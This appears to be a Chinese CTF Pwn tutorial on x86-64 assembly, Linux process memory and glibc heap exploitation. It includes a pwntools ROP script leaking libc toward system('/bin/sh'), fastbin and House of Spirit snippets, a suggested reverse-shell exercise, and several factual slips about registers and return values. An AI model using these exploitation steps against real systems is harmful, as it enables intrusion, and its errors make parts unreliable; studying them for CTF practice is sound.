崲峰1. 项目概述：为什么Pwn选手必须吃透汇编与内存模型
在CTF竞赛的Pwn模块中，汇编语言和Linux内存模型就像外科医生的手术刀和解剖图。去年某国际赛事中，一道看似简单的栈溢出题因为选手不熟悉x86-64调用约定，导致90%的参赛队伍在最后1字节的padding上翻车。这正印证了那句老话："不懂汇编的Pwn手，就像蒙着眼睛拆炸弹"。
本系列第二讲将聚焦两个核心生存技能：
- 汇编语言的"条件反射"级阅读能力：不靠反编译工具，直接读懂
mov [rbp-0x20], rax这类指令的底层含义 - Linux进程内存的立体透视能力：从虚拟地址到物理页的完整映射关系，包括那些教科书上不会讲的glibc内存管理"潜规则"
掌握这些知识后，你将能：
- 精准预测漏洞利用时每一个字节的布局
- 快速识别题目中的非常规内存结构（如自定义堆分配器）
- 在无符号环境下逆向分析二进制文件
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 汇编语言：从机器视角理解程序行为
2.1 必须掌握的x86-64指令集核心子集
Pwn领域最常遇到的指令其实只占Intel手册的5%，以下是必须形成肌肉记忆的指令列表：
| 指令类型 | 关键指令 | Pwn中的典型应用场景 |
|---|---|---|
| 数据传输 | mov, lea, xchg | 寄存器/内存间数据转移 |
| 算术运算 | add, sub, inc, dec | 计算偏移量或修改计数器 |
| 位操作 | and, or, xor, shr | 加密算法或掩码操作 |
| 控制流 | jmp, call, ret | 函数调用与ROP链构造 |
| 栈操作 | push, pop | 保存寄存器状态或调整栈帧 |
| 系统交互 | syscall, int 0x80 | 发起系统调用实现提权 |
特别提示：现代CTF题目已普遍采用
syscall而非int 0x80进行系统调用，这是区分新手的重要标志
2.2 寄存器体系的实战意义
x86-64架构的16个通用寄存器在漏洞利用中各司其职：
assembly复制rax - 系统调用号/返回值 r8 - 第5个参数
rbx - 基址寄存器 r9 - 第6个参数
rcx - 循环计数器 r10 - 临时寄存器
rdx - 第3个参数 r11 - 临时寄存器
rsi - 第2个参数 r12-r15 - 需调用者保存
rdi - 第1个参数 rbp - 栈基址指针
rsp - 栈顶指针 rip - 指令指针
经典踩坑案例：某次比赛中，选手用mov rdi, [rbp-0x10]获取参数时，没注意到rbp已被修改，导致后续ret指令跳转到错误地址。正确的做法是：
assembly复制; 安全做法：先保存原始rbp
push rbp
mov rbp, rsp
; ...函数体...
leave ; 相当于 mov rsp,rbp; pop rbp
ret
2.3 函数调用的隐藏规则
Linux平台遵循System V AMD64 ABI调用约定，但有几个容易被忽视的细节：
- 小于8字节的返回值通过
al而非rax传递 fld等浮点指令会污染MMX寄存器- 栈对齐要求：
call指令执行时rsp必须16字节对齐
通过这个典型栈帧可以理解参数传递：
code复制高地址
+-----------------+
| 返回地址 |
+-----------------+
| 旧的rbp | ← rbp
+-----------------+
| 局部变量1 |
| ... |
+-----------------+
| 第7+个参数 | ← rsp+0x10
| ... |
+-----------------+
低地址
3. Linux内存模型的攻防视角解析
3.1 进程地址空间全景图
现代Linux进程的地址空间远不止简单的"栈-堆-数据段-代码段"划分。通过pmap命令可以看到更真实的内存布局：
code复制00400000-00401000 r-xp /tmp/vuln # 代码段
00600000-00601000 r--p /tmp/vuln # 只读数据
00601000-00602000 rw-p /tmp/vuln # 可写数据
7ffff7dd5000-7ffff7dfc000 r-xp /lib/x86_64-linux-gnu/ld-2.31.so
7ffffffde000-7ffffffff000 rw-p [stack] # 栈区
ffffffffff600000-ffffffffff601000 --xp [vsyscall] # 已废弃
关键发现：ld.so和libc.so的加载地址虽然随机化，但相对偏移是固定的。这就是为什么泄露一个地址就能算出system()的位置。
3.2 栈区的魔鬼细节
栈溢出利用需要精确控制的数据：
- 返回地址覆盖：需要知道偏移量
offset = rbp - &buf + 8 - Canary绕过：若开启
-fstack-protector，需先泄露canary值 - 栈对齐：某些系统调用（如
execve）要求栈指针16字节对齐
通过GDB可以观察栈布局：
bash复制gdb-peda$ telescope $rsp 20
0000| 0x7fffffffd9a8 --> 0x4006a6 (<main+45>: mov eax,0x0)
0008| 0x7fffffffd9b0 --> 0x1
0016| 0x7fffffffd9b8 --> 0x7ffff7ffe168
0024| 0x7fffffffd9c0 --> 0x0
3.3 堆管理的黑暗艺术
glibc的ptmalloc2分配器有以下特性影响漏洞利用：
- smallbin（<512字节）采用FIFO策略
- largebin使用"best-fit"算法
- fastbin（16-80字节）是单链表结构，存在FD指针劫持风险
一个典型的use-after-free利用过程：
- 分配chunk A并释放，进入fastbin
- 分配chunk B重用A的内存
- 通过B修改A的fd指针指向目标地址
- 两次分配后获得目标地址的控制权
c复制// 演示代码
char *a = malloc(32); // chunk A
free(a);
// 此时a的fd指针指向main_arena
*(long *)a = target_address; // 篡改fd
malloc(32); // 拿到A
malloc(32); // 拿到target_address处的内存
4. 实战演练：从汇编到漏洞利用
4.1 案例：栈溢出+ROP绕过NX
分析以下漏洞代码：
c复制void vuln() {
char buf[40];
read(0, buf, 100); // 明显的栈溢出
}
利用步骤：
- 确定偏移量：
pattern create 100生成测试字符串 - 找到崩溃点：
EIP = 0x41414141说明覆盖了返回地址 - 构造ROP链：
- 先泄露libc地址（如puts@got）
- 计算system()地址：
system = leak_addr - puts_offset + system_offset - 执行
system("/bin/sh")
python复制from pwn import *
context.arch = 'amd64'
p = process('./vuln')
rop = ROP('./vuln')
rop.call('puts', [elf.got['puts']])
rop.call('vuln') # 二次触发
payload = flat(
b'A'*48,
rop.chain()
)
p.send(payload)
puts_addr = u64(p.recvline()[:6].ljust(8, b'\x00'))
libc.address = puts_addr - libc.sym['puts']
4.2 堆风水：House of Spirit实战
这种技术通过伪造free chunk实现任意地址写：
- 在栈上伪造一个fastbin chunk
- 让该chunk的size字段符合fastbin要求
- 释放这个伪造chunk使其加入fastbin链表
- 下次分配即可获得栈空间的控制权
c复制// 伪代码示例
struct {
size_t size;
void *target;
} fake_chunk;
fake_chunk.size = 0x20; // 符合fastbin大小
free(&fake_chunk); // 关键步骤
void *p = malloc(0x20); // 获得指向target的指针
5. 调试技巧与问题排查
5.1 GDB增强配置
推荐在~/.gdbinit中添加这些配置：
code复制set disassembly-flavor intel
set follow-fork-mode child
set pagination off
define hook-stop
x/10i $rip
end
5.2 常见错误排查表
| 现象 | 可能原因 | 解决方案 |
|---|---|---|
| SIGSEGV on ret | 栈不平衡或rbp被破坏 | 检查leave指令是否执行 |
| malloc(): memory corruption | 堆元数据被破坏 | 使用gef的heap chunks命令检查 |
| 系统调用参数错误 | 寄存器未正确设置 | 对照syscall表格检查rax/rdi等 |
| ROP链执行中断 | 栈未对齐或gadget有副作用 | 在链中添加ret调整栈对齐 |
5.3 性能优化技巧
- 使用
strace -i追踪系统调用地址，辅助定位关键代码 - 对频繁修改的脚本代码，用
pwntools的asm()函数实时编译 - 遇到复杂内存布局时，用
gef的vis_heap_chunks可视化堆状态
6. 拓展训练建议
- 用纯汇编实现一个简单的TCP反向shell
- 研究glibc 2.34+版本的
__free_hook移除对利用技术的影响 - 尝试在ARM64架构下完成相同的漏洞利用
- 分析Linux内核的SLUB分配器与用户态堆的异同
最后分享一个冷知识：在极端情况下，可以通过修改/proc/self/mem实现进程内存的自我修改，这曾在某些CTF非预期解中出现过。不过现代内核已加强对该文件的权限控制。